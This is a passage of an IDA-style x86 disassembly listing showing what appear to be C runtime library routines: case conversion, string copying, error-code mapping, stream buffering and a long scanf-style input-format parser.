		cmp	eax, 7Ah
		ja	short loc_42025E
		or	byte_4DC821[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_42023E
; ---------------------------------------------------------------------------

loc_42025E:				; CODE XREF: sub_4200E8+161j
					; sub_4200E8+166j
		and	byte_4DC720[eax], 0

loc_420265:				; CODE XREF: sub_4200E8+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_420228

loc_42026A:				; CODE XREF: sub_4200E8+137j
		pop	esi
		leave
		retn
sub_4200E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42026D	proc near		; CODE XREF: ___:00422E7Bp
					; ___:00422ED7p ...
		cmp	dword_4DC954, 0
		jnz	short locret_420288
		push	0FFFFFFFDh
		call	sub_41FEA9
		pop	ecx
		mov	dword_4DC954, 1

locret_420288:				; CODE XREF: sub_42026D+7j
		retn
sub_42026D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420289	proc near		; CODE XREF: sub_41B9D1+2Bp
					; sub_41B9D1+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4DC71C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_4202AD
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_420310
; ---------------------------------------------------------------------------

loc_4202AD:				; CODE XREF: sub_420289+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_4202F2
		mov	ecx, [ebp+arg_4]

loc_4202B8:				; CODE XREF: sub_420289+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4DC821[esi], 4
		mov	[edi], al
		jz	short loc_4202DC
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_4202E8
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202EE
		jmp	short loc_4202E2
; ---------------------------------------------------------------------------

loc_4202DC:				; CODE XREF: sub_420289+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202F2

loc_4202E2:				; CODE XREF: sub_420289+51j
		test	edx, edx
		jnz	short loc_4202B8
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------

loc_4202E8:				; CODE XREF: sub_420289+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------

loc_4202EE:				; CODE XREF: sub_420289+4Fj
		and	byte ptr [edi-2], 0

loc_4202F2:				; CODE XREF: sub_420289+2Aj
					; sub_420289+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_42030D
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb

loc_42030D:				; CODE XREF: sub_420289+6Fj
		mov	eax, [ebp+arg_0]

loc_420310:				; CODE XREF: sub_420289+22j
		pop	edi
		pop	ebp
		retn
sub_420289	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420313	proc near		; CODE XREF: sub_41BBBD+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DB364, 0
		push	ebx
		jnz	short loc_42033E
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_4203DC
		cmp	eax, 7Ah
		jg	loc_4203DC
		sub	eax, 20h
		jmp	loc_4203DC
; ---------------------------------------------------------------------------

loc_42033E:				; CODE XREF: sub_420313+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_420371
		cmp	dword_43C534, 1
		jle	short loc_42035E
		push	2
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420369
; ---------------------------------------------------------------------------

loc_42035E:				; CODE XREF: sub_420313+3Dj
		mov	eax, off_43C328
		mov	al, [eax+ebx*2]
		and	eax, 2

loc_420369:				; CODE XREF: sub_420313+49j
		test	eax, eax
		jnz	short loc_420371

loc_42036D:				; CODE XREF: sub_420313+AFj
		mov	eax, ebx
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------

loc_420371:				; CODE XREF: sub_420313+34j
					; sub_420313+58j
		mov	edx, off_43C328
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_420394
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_42039D
; ---------------------------------------------------------------------------

loc_420394:				; CODE XREF: sub_420313+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1

loc_42039D:				; CODE XREF: sub_420313+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4DB364
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_42036D
		cmp	eax, 1
		jnz	short loc_4203CF
		movzx	eax, [ebp+var_4]
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------

loc_4203CF:				; CODE XREF: sub_420313+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx

loc_4203DC:				; CODE XREF: sub_420313+14j
					; sub_420313+1Dj ...
		pop	ebx
		leave
		retn
sub_420313	endp


; =============== S U B	R O U T	I N E =======================================



sub_4203DF	proc near		; CODE XREF: sub_41BDDC+1Dp
					; sub_41D3BE+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4DB2AC, ecx
		mov	eax, offset dword_43C640

loc_4203F0:				; CODE XREF: sub_4203DF+1Ej
		cmp	ecx, [eax]
		jz	short loc_420414
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43C7A8
		jl	short loc_4203F0
		cmp	ecx, 13h
		jb	short loc_420421
		cmp	ecx, 24h
		ja	short loc_420421
		mov	dword_4DB2A8, 0Dh
		retn
; ---------------------------------------------------------------------------

loc_420414:				; CODE XREF: sub_4203DF+13j
		mov	eax, dword_43C644[edx*8]
		mov	dword_4DB2A8, eax
		retn
; ---------------------------------------------------------------------------

loc_420421:				; CODE XREF: sub_4203DF+23j
					; sub_4203DF+28j
		cmp	ecx, 0BCh
		jb	short loc_42043B
		cmp	ecx, 0CAh
		mov	dword_4DB2A8, 8
		jbe	short locret_420445

loc_42043B:				; CODE XREF: sub_4203DF+48j
		mov	dword_4DB2A8, 16h

locret_420445:				; CODE XREF: sub_4203DF+5Aj
		retn
sub_4203DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_420446	proc near		; CODE XREF: sub_41BE06+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jz	short loc_4204CF
		cmp	esi, offset dword_43CA38
		jnz	short loc_420464
		xor	eax, eax
		jmp	short loc_42046F
; ---------------------------------------------------------------------------

loc_420464:				; CODE XREF: sub_420446+18j
		cmp	esi, offset dword_43CA58
		jnz	short loc_4204CF
		push	1
		pop	eax

loc_42046F:				; CODE XREF: sub_420446+1Cj
		inc	dword_4DB490
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_4204CF
		cmp	dword_4DB334[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4DB334h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_4204B5
		push	ebx
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_4204B5
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_4204C2
; ---------------------------------------------------------------------------

loc_4204B5:				; CODE XREF: sub_420446+4Dj
					; sub_420446+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx

loc_4204C2:				; CODE XREF: sub_420446+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4204CF:				; CODE XREF: sub_420446+10j
					; sub_420446+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_420446	endp


; =============== S U B	R O U T	I N E =======================================



sub_4204D3	proc near		; CODE XREF: sub_41BE06+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_4204FD
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_42050E
		push	esi
		call	sub_41DB8B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4204FD:				; CODE XREF: sub_4204D3+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_42050E
		push	eax
		call	sub_41DB8B
		pop	ecx

loc_42050E:				; CODE XREF: sub_4204D3+10j
					; sub_4204D3+32j
		pop	esi
		retn
sub_4204D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420510	proc near		; CODE XREF: sub_41C645+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_420F16
		mov	edi, [ebp+arg_0]
		jmp	short loc_42053F
; ---------------------------------------------------------------------------

loc_42053A:				; CODE XREF: sub_420510+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx

loc_42053F:				; CODE XREF: sub_420510+28j
		cmp	dword_43C534, 1
		jle	short loc_420557
		movzx	eax, al
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420566
; ---------------------------------------------------------------------------

loc_420557:				; CODE XREF: sub_420510+36j
		mov	ecx, off_43C328
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_420566:				; CODE XREF: sub_420510+45j
		cmp	eax, ebx
		jz	short loc_4205A0
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_420F9D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_420F86
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		add	esp, 0Ch

loc_42058E:				; CODE XREF: sub_420510+8Ej
		test	eax, eax
		jz	short loc_4205A0
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		pop	ecx
		jmp	short loc_42058E
; ---------------------------------------------------------------------------

loc_4205A0:				; CODE XREF: sub_420510+58j
					; sub_420510+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_420E82
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx

loc_4205D7:				; CODE XREF: sub_420510+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43C534, 1
		jle	short loc_4205F4
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420603
; ---------------------------------------------------------------------------

loc_4205F4:				; CODE XREF: sub_420510+D3j
		mov	ecx, off_43C328
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_420603:				; CODE XREF: sub_420510+E2j
		test	eax, eax
		jz	short loc_420619
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_420619:				; CODE XREF: sub_420510+F5j
		cmp	ebx, 4Eh
		jg	short loc_42065C
		jz	short loc_42067E
		cmp	ebx, 2Ah
		jz	short loc_420657
		cmp	ebx, 46h
		jz	short loc_42067E
		cmp	ebx, 49h
		jz	short loc_420639
		cmp	ebx, 4Ch
		jnz	short loc_42066B
		inc	[ebp+var_D]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_420639:				; CODE XREF: sub_420510+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_42066B
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_42066B
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_420657:				; CODE XREF: sub_420510+113j
		inc	[ebp+var_E]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_42065C:				; CODE XREF: sub_420510+10Cj
		cmp	ebx, 68h
		jz	short loc_420678
		cmp	ebx, 6Ch
		jz	short loc_420670
		cmp	ebx, 77h
		jz	short loc_420673

loc_42066B:				; CODE XREF: sub_420510+122j
					; sub_420510+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_420670:				; CODE XREF: sub_420510+154j
		inc	[ebp+var_D]

loc_420673:				; CODE XREF: sub_420510+159j
		inc	[ebp+var_5]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_420678:				; CODE XREF: sub_420510+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]

loc_42067E:				; CODE XREF: sub_420510+107j
					; sub_420510+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_4205D7
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_4206A3
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax

loc_4206A3:				; CODE XREF: sub_420510+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_4206C1
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_4206BD
		cmp	al, 43h
		jz	short loc_4206BD
		or	[ebp+var_5], 0FFh
		jmp	short loc_4206C1
; ---------------------------------------------------------------------------

loc_4206BD:				; CODE XREF: sub_420510+1A1j
					; sub_420510+1A5j
		mov	[ebp+var_5], 1

loc_4206C1:				; CODE XREF: sub_420510+19Bj
					; sub_420510+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_4206FA
		cmp	esi, 63h
		jz	short loc_4206EB
		cmp	esi, 7Bh
		jz	short loc_4206EB
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_420F9D
		pop	ecx
		jmp	short loc_4206F6
; ---------------------------------------------------------------------------

loc_4206EB:				; CODE XREF: sub_420510+1C5j
					; sub_420510+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C

loc_4206F6:				; CODE XREF: sub_420510+1D9j
		pop	ecx
		mov	[ebp+var_14], eax

loc_4206FA:				; CODE XREF: sub_420510+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_42070A
		cmp	[ebp+var_C], eax
		jz	loc_420EE6

loc_42070A:				; CODE XREF: sub_420510+1EFj
		cmp	esi, 6Fh
		jg	loc_420971
		jz	loc_420C23
		cmp	esi, 63h
		jz	loc_42094E
		cmp	esi, 64h
		jz	loc_420C23
		jle	loc_42099B
		cmp	esi, 67h
		jle	short loc_42076E
		cmp	esi, 69h
		jz	short loc_420756
		cmp	esi, 6Eh
		jnz	loc_42099B
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_420E51
		jmp	loc_420E77
; ---------------------------------------------------------------------------

loc_420756:				; CODE XREF: sub_420510+229j
		push	64h
		pop	esi

loc_420759:				; CODE XREF: sub_420510+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_4209E3
		mov	[ebp+var_17], 1
		jmp	loc_4209E8
; ---------------------------------------------------------------------------

loc_42076E:				; CODE XREF: sub_420510+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_42078A
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_42078F
; ---------------------------------------------------------------------------

loc_42078A:				; CODE XREF: sub_420510+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_4207A6

loc_42078F:				; CODE XREF: sub_420510+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207A9
; ---------------------------------------------------------------------------

loc_4207A6:				; CODE XREF: sub_420510+27Dj
		mov	edi, [ebp+arg_0]

loc_4207A9:				; CODE XREF: sub_420510+294j
		cmp	[ebp+var_20], 0
		jz	short loc_4207B8
		cmp	[ebp+var_C], 15Dh
		jle	short loc_4207BF

loc_4207B8:				; CODE XREF: sub_420510+29Dj
		mov	[ebp+var_C], 15Dh

loc_4207BF:				; CODE XREF: sub_420510+2A6j
					; sub_420510+2F2j
		cmp	dword_43C534, 1
		jle	short loc_4207D4
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4207DF
; ---------------------------------------------------------------------------

loc_4207D4:				; CODE XREF: sub_420510+2B6j
		mov	eax, off_43C328
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_4207DF:				; CODE XREF: sub_420510+2C2j
		test	eax, eax
		jz	short loc_420804
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420804
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207BF
; ---------------------------------------------------------------------------

loc_420804:				; CODE XREF: sub_420510+2D1j
					; sub_420510+2DBj
		cmp	byte_43C538, bl
		jnz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		mov	al, byte_43C538
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi

loc_42082D:				; CODE XREF: sub_420510+360j
		cmp	dword_43C534, 1
		jle	short loc_420842
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42084D
; ---------------------------------------------------------------------------

loc_420842:				; CODE XREF: sub_420510+324j
		mov	eax, off_43C328
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_42084D:				; CODE XREF: sub_420510+330j
		test	eax, eax
		jz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_42082D
; ---------------------------------------------------------------------------

loc_420872:				; CODE XREF: sub_420510+2FAj
					; sub_420510+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_42090A
		cmp	ebx, 65h
		jz	short loc_42088A
		cmp	ebx, 45h
		jnz	loc_42090A

loc_42088A:				; CODE XREF: sub_420510+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_4208B1
		mov	[esi], al
		inc	esi
		jmp	short loc_4208B6
; ---------------------------------------------------------------------------

loc_4208B1:				; CODE XREF: sub_420510+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_4208D4

loc_4208B6:				; CODE XREF: sub_420510+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_4208C5
		and	[ebp+var_C], eax
		jmp	short loc_4208D4
; ---------------------------------------------------------------------------

loc_4208C5:				; CODE XREF: sub_420510+3AEj
					; sub_420510+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_4208D4:				; CODE XREF: sub_420510+3A4j
					; sub_420510+3B3j
		cmp	dword_43C534, 1
		jle	short loc_4208E9
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4208F4
; ---------------------------------------------------------------------------

loc_4208E9:				; CODE XREF: sub_420510+3CBj
		mov	eax, off_43C328
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_4208F4:				; CODE XREF: sub_420510+3D7j
		test	eax, eax
		jz	short loc_42090A
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_4208C5
; ---------------------------------------------------------------------------

loc_42090A:				; CODE XREF: sub_420510+366j
					; sub_420510+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43C8D8
		add	esp, 0Ch
		jmp	loc_420E77
; ---------------------------------------------------------------------------

loc_42094E:				; CODE XREF: sub_420510+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_42095D
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1

loc_42095D:				; CODE XREF: sub_420510+441j
		cmp	[ebp+var_5], 0
		jle	short loc_420967
		mov	[ebp+var_16], 1

loc_420967:				; CODE XREF: sub_420510+451j
		mov	edi, offset dword_43C7B0
		jmp	loc_420A7C
; ---------------------------------------------------------------------------

loc_420971:				; CODE XREF: sub_420510+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_420C1F
		sub	eax, 3
		jz	loc_420A6D
		dec	eax
		dec	eax
		jz	loc_420C23
		sub	eax, 3
		jz	loc_420759
		sub	eax, 3
		jz	short loc_4209BF

loc_42099B:				; CODE XREF: sub_420510+21Bj
					; sub_420510+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_420EE6
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_420E77
; ---------------------------------------------------------------------------

loc_4209BF:				; CODE XREF: sub_420510+489j
		cmp	[ebp+var_5], 0
		jle	short loc_4209C9
		mov	[ebp+var_16], 1

loc_4209C9:				; CODE XREF: sub_420510+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_420A80
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_420A7C
; ---------------------------------------------------------------------------

loc_4209E3:				; CODE XREF: sub_420510+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_420A0A

loc_4209E8:				; CODE XREF: sub_420510+259j
		dec	[ebp+var_C]
		jnz	short loc_4209F9
		cmp	[ebp+var_20], 0
		jz	short loc_4209F9
		mov	[ebp+var_F], 1
		jmp	short loc_420A0A
; ---------------------------------------------------------------------------

loc_4209F9:				; CODE XREF: sub_420510+4DBj
					; sub_420510+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_420A0A:				; CODE XREF: sub_420510+4D6j
					; sub_420510+4E7j
		cmp	ebx, 30h
		jnz	loc_420C58
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_420A58
		cmp	bl, 58h
		jz	short loc_420A58
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_420A42
		push	6Fh

loc_420A3C:				; CODE XREF: sub_420510+55Bj
		pop	esi
		jmp	loc_420C58
; ---------------------------------------------------------------------------

loc_420A42:				; CODE XREF: sub_420510+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_420C55
; ---------------------------------------------------------------------------

loc_420A58:				; CODE XREF: sub_420510+517j
					; sub_420510+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_420A3C
; ---------------------------------------------------------------------------

loc_420A6D:				; CODE XREF: sub_420510+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_420A77
		mov	[ebp+var_16], 1

loc_420A77:				; CODE XREF: sub_420510+561j
		mov	edi, offset dword_43C7A8

loc_420A7C:				; CODE XREF: sub_420510+45Cj
					; sub_420510+4CEj
		or	[ebp+var_18], 0FFh

loc_420A80:				; CODE XREF: sub_420510+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420AA4
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_420AA4
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------

loc_420AA4:				; CODE XREF: sub_420510+584j
					; sub_420510+589j
		mov	dl, [ebp+var_35]

loc_420AA7:				; CODE XREF: sub_420510+592j
					; sub_420510+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_420B0C
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_420AF3
		test	dl, dl
		jz	short loc_420AF3
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_420AF3
		inc	edi
		cmp	dl, cl
		jnb	short loc_420AC6
		mov	al, cl
		jmp	short loc_420ACA
; ---------------------------------------------------------------------------

loc_420AC6:				; CODE XREF: sub_420510+5B0j
		mov	al, dl
		mov	dl, cl

loc_420ACA:				; CODE XREF: sub_420510+5B4j
		cmp	dl, al
		ja	short loc_420AEF
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi

loc_420AD7:				; CODE XREF: sub_420510+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_420AD7

loc_420AEF:				; CODE XREF: sub_420510+5BCj
		xor	dl, dl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------

loc_420AF3:				; CODE XREF: sub_420510+5A0j
					; sub_420510+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------

loc_420B0C:				; CODE XREF: sub_420510+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_420F16
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420B1E
		mov	[ebp+arg_4], edi

loc_420B1E:				; CODE XREF: sub_420510+609j
		mov	edi, [ebp+arg_0]
